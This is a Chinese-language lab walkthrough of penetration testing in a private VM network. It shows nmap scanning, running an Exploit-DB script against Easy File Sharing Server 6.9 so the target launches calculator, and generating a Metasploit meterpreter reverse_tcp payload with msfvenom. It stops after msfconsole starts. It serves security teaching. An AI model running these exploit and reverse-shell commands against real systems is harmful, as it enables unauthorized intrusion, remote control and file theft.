一 easy file sharing server漏洞渗透测试
1、靶机(Windows)安装easy file sharing server(efssetup_2018.zip),该服务存在漏洞。
2、利用Nmap扫描发现靶机(Windows)运行了该服务。
3、利用该漏洞,使得靶机运行计算器。
- 查看靶机的ip地址为192.168.226.132
2.靶机打开easy file sharing server,打开kali终端,输入【nmap -sV 192.168.226.132】进行扫描,发现靶机上的80端口运行着“easy file sharing server”软件,版本为6.9
3.输入【searchsploit easy file sharing server】查找和easy file sharing server有关的漏洞,以红框标出来的漏洞渗透模块为例,利用该漏洞,使得靶机运行计算器。
4.执行这个python脚本,执行时需要提供两个参数(靶机ip和目标端口),输入【python2 /usr/share/exploitdb/exploits/windows/remote/39009.py 192.168.226.132 80】,该命令执行成功后,渗透模块就会连接到192.168.226.132的80端口,并将指定代码发送过去
5.回到靶机查看,可发现已经启动了计算器
二 Metasploit应用
1、生成主控端、被控端。
2、获得靶机(Windows)控制权。
3、下载靶机上任意一个文件。
- 查看kali虚拟机的ip地址为192.168.226.128
2.输入命令msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.226.128 lport=5000 -f exe -o /var/payload.exe
生成的被控端程序文件在var目录下
3.输入msfconsole命令启动Metasploit
4.依次输入这些命令